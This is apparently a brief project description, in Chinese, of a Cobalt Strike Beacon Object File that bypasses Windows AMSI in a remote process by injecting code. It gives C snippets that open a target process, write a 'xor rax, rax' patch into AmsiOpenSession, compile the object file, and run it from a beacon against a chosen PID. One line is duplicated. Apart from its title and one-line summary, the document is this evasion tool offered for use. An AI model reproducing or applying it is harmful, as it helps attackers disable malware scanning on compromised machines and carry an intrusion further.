
Cobalt Strike BOF - 通过代码注入绕过远程进程中的AMSI。
Cobalt Strike Beacon对象文件(BOF),通过代码注入绕过远程进程中的AMSI。

hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);


x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
beacon> inject-amsiBypass <PID>